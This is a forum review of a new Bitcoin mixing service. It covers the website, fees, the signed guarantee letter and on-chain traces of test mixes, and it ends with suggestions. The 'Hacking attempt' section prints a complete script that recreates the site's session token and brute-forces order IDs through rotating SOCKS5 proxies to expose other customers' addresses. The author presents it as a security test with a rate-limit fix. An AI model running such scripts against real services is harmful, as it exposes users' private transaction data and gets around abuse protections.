Bitcointalk username: TryNinja
Always fun testing mixers.
WebsiteThe website is clean, a typical modern website.
"Many positive customer reviews on forums speak about [banned mixer]'s reliability and solid reputation." -> maybe link some of them, otherwise it doesn't matter what you say. I personally would trust you *less* if I came to the website today and saw this, because it means you probably only wrote it to appear more legit (you don't have the solid reputation yet).
I like that you're mentioning Bitcointalk on your FAQ because it probably means you value this community. If you do something wrong, there is a higher chance you'll listen and do the right thing.
The clearnet website is using DDoS-Guard, far from great but I guess this became a bit of the norm since mixers keep getting DDoS'ed... what about warning people about the risk of using a third party proxy middleman and maybe recommend users to use the Tor mirror?
A question about the tumbler code: How do you keep track of which coins are related to that user? For example, I send from my address X to your mixer address A. Then I come back later and mix again with my code. How do I *NOT* get the coins from mixer address A? If you're saving that information on your database, isn't this a privacy issue?
The mixingI went to the mixing page and inserted two addresses, one to receive 24.18% with a delay of 7h 9min and the other to receive 75.82% with a delay of 1h 13min, selected a cheap service fee of 0.42% (basic security).
I like the "anonymizing meter" but I feel like its guidelines should be inserted directly in the page (rather than on the hovered icon). Also, there should be more suggestions when the meter is low. For example, if I insert one address, select the minimum fee of 0.40% and a delay of 0h 0min, I see:
"X Input at least two receiving addresses or more"
"X Do not leave the Fee slider at the minimum value"
"X Do not choose the minimum delay"
"Check out the Blog section for more information [...]"
By putting it on the body, you can link the blog post directly on the message and even make every item suggestion clickable with an anchor directly with the explanation to why that is so good on a blog post.
I downloaded the Letter of Guarantee and verified it correctly with Electrum.
0.0002 BTC fee per address seems a bit too much, no? Every extra address weights around 34 bytes, at 100 sat/vbyte that's less than $1. Even if you say that an extra address with a different delay implies an extra transaction and thus an extra fee, that's tipically less than $2 per tx (1 input, 2 outputs w/ change) on 40 sat/vbyte. It's only fair if fees are at 100 sat/vbyte and beyond.
Before the delay time has passed, I tried mixing once more. I purposely chose a time that would match with one of the address of my first mix so I could compare both transactions. This time I selected a fee of 1.81% (Standard).
First one was sent at 13:48, the second one was sent at 13:41 - a difference of 7 minutes.
- Both used the exact same fee, 6501 satoshis (38,9 sat/vbyte).
- Both fees were OVERPAID by 2x (16 sat/vbyte has high priority at the time).
- Both came from a 0,001 BTC input (not the same, though).
- My mixed coins from Mix 1 came DIRECTLY from the address I deposited the coins to on Mix 2. Of course using the mixing code from the previous order probably fixes that, and I also used the cheapest fee option, but still... it doesn't look great. I believe coins should move around a little bit more before they are sent straight to a new customer.
- The last (third) output, with a delay of 7h 9min (far away from the others), was sent with a fee of 6532 (39.8 sat/vB), a bit more and still overpaid.
- All transactions had their change address identified by Blockchair, maybe because a 3-type address sent to a 1-type address and the change was also a 3-type address? What about mixing address types on your backend (deposit address that start with 1, 3, bc1; and outputs also sent from addresses that start with 1, 3, bc1).
-----BEGIN LETTER OF GUARANTEE-----
Signed message: We hereby confirm that [banned mixer] has generated the address 37DfhXfSYMNE9c7exVmJRVZJvUp22m7Fde in order to transfer incoming amount (minus fee) to the following addresses: 100% to 19MiffThdEWGZaEwDdWVMrQGHPCngH4qcW after 81 min. This service will be only available for all bitcoins received from 2023 September 26, 15:16:12 UTC to 2023 September 27, 15:16:12 UTC with minimum amount of 0.001 BTC per single transaction and maximum amount of 10 BTC total. Our fee is 1.81% + 0.0002 BTC for every target address. This letter is digitally signed by our main account: 1TUMBLRXHDjFZacmFLbuDn2Rw1rcPgacR. Order ID: GZKSHY91-1D9JKO. Stay protected and thank you for using our service.
Bitcoin address: 1TUMBLRXHDjFZacmFLbuDn2Rw1rcPgacR
Signature: GyCzCfcBwYt65dU08EZORjzDUbApn+bCTOqgvl5BO3kNN8Uv2q4IkqV2gyKNCHpXTsmq1o2m4TWy23OzAnr+XTg=
-----END LETTER OF GUARANTEE-----
After the 24h was completed, I checked my order again and it was sucessfully deleted. The API confirmed it:
For a third mix, I tried sending coins and then cancelling my tx though RBF. It was detected after some time and a message showed up: "An error occurred during order processing. Please "contact support (what if I resend it? Nothing showed up, so I cancelled it again).
I didn't check any of the mixed coins for their compliance (AML) risk, but since the mixer is new, probably still unmarked, and one of my coins came directly from another customer (which was also me in this case), it's probably as low as a typical blockchain user that takes crypto payments OR even even as high as a darknet market vendor if you're unluck and you receive those coins directly from his deposit address. In this case it would go in the low risk cattegory.
Hacking attempt...I wanted to try something different, so after noticing that there was no captcha required on the order page, I wrote a script that brute forces sessions as an attempt to find someone else’s randomly. Assuming a order id format "XXXXXXXX-XXXXXX" and 36 characters (A-Z/0-9), there was 36^14 possible ids. Maybe too much? Still, I wanted to try.
First thing was reverse engineering the obfuscated source code of the website to find out how the page session called fud is generated. After a few hours I managed to do it. Then I got some paid proxies to make the job easier (around 100).
This is the code I used:
import { crypto } from "https://deno.land/
[email protected]/crypto/mod.ts";
let proxyNum = 1
let hasFound = false
const proxies = await Deno.readTextFile("./proxies.txt")
.then(proxies => proxies.split('\n')
.map(proxie => {
const [, ip, port,, username, password] = proxie.match(/(\d+\.\d+\.\d+\.\d+):(\d+)(:(.*):(.*))?/) ?? []
return { ip, port: Number(port), username, password }
})
)
function generateRandomString() {
const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
let result = '';
for (let i = 0; i < 8; i++) {
result += characters.charAt(Math.floor(Math.random() * characters.length));
}
result += '-';
for (let i = 0; i < 6; i++) {
result += characters.charAt(Math.floor(Math.random() * characters.length));
}
return result;
}
function arrayBufferToHex(buffer: ArrayBuffer) {
const hexBytes = [];
const view = new DataView(buffer);
for (let i = 0; i < view.byteLength; i++) {
const byte = view.getUint8(i);
hexBytes.push(byte.toString(16).padStart(2, "0"));
}
return hexBytes.join("");
}
function md5(value: string) {
return arrayBufferToHex(crypto.subtle.digestSync('MD5', new TextEncoder().encode(value)))
}
function getProxyClient() {
const { ip, port, username, password } = proxies[proxyNum - 1]
proxyNum += 1;
if (proxyNum === proxies.length) {
proxyNum = 1
}
return Deno.createHttpClient({
proxy: {
url: `socks5://${ip}:${port}`,
basicAuth: {
username,
password
}
}
})
}
async function request() {
const start = 2000000000
const end = 9999999999
const rand1 = (Math.floor(Math.random() * (end - start + 1)) + start)
const rand2 = parseInt(new Date().getTime().toString().substring(0, 10));
const fud = '' + rand1 + (rand1 - rand2) + md5(rand2 + 'hide').substring(0, 5);
const baseUrl = 'https://[banned mixer]/api/order'
const orderId = generateRandomString()
const client = getProxyClient()
const form = new URLSearchParams({ order_id: orderId})
const response = await fetch(`${baseUrl}?fud=${fud}`, {
method: 'POST',
headers: { 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8' },
body: form,
client
})
try {
const json = await response.json()
return { result: json, orderId }
} catch (error) {
throw new Error(error)
}
}
const luck = async () => {
try {
const { result, orderId } = await request()
if (result.error) {
console.log(`Error: ${result.error} [${orderId}]`)
} else {
console.log('----------')
console.log(`Order Id: ${orderId}`)
console.log(`Deposit Address: ${result.result.address}`)
console.log(`Outgoing Addresses: ${result.result.data.form_addresses.map((address: string) => address).join(', ')}`)
console.log('----------')
console.log(result)
hasFound = true
}
} catch (error) {
console.log(error)
}
}
while (!hasFound) {
const attempts = Array.from({ length: 25 }, () => luck());
await Promise.allSettled(attempts)
await new Promise(resolve => setTimeout(resolve, 250))
}
After running it for some time, I couldn't find a single session and my proxies started to get blacklisted. No luck!
Still, I managed to brute force check a few thousands of possible order ids. My suggestion: Don't let a single IP check 10k sessions, rate limit it after 10 sessions or so... A legit user won't need more than that and, if you're too lenient, a chain-analysis company can easily get 10k IPs and check as many orders as they can (Will they? I don't know).
I also tried intercepting the requests and playing around with the params before they are sent.
Modifying the address to a invalid one returns:
"Invalid param form_addresses[]"Modifying the form_fee to a invalid one (i.e 0.05) returns:
"Invalid param form_fee"No tricky playing around allowed since everything is checked on the backend, nice.
Other stuff- Even before the transaction confirms, the API already returns a
deleted_at field with the unix time of 24h in the future. What happens if the transaction takes longer than that to confirm? Is the order deleted anyways? If that's the case, maybe only start the timer after the tx is confirmed? edit: The order which deposit tx I cancelled with RBF is still up, so I guess it isn't deleted UNTIL everything gets cleared.
- Following the last question, what happens if my tx is dropped from the mempool, the order is deleted, and then my wallet automatically rebroadcasts it? I guess the Letter of Guarantee is enough to prove that I sent my coins to address X and didn't receive my coins to address Y (output), right?
- You're new, of course, but put an avatar and card on your twitter account so you don't look inactive and careless (
):
https://twitter.com/tumbler_io- Extra suggestion: let people deposit multiple times before they receive their coins. For example, I can send 0.001 BTC from my address A to your deposit address X + send 0.003 BTC from my address B to your deposit address Y. My output will be 0.001 + 0.003 = 0.004 BTC. This makes it so the output can also be higher than a single input transaction (A alone, or B alone).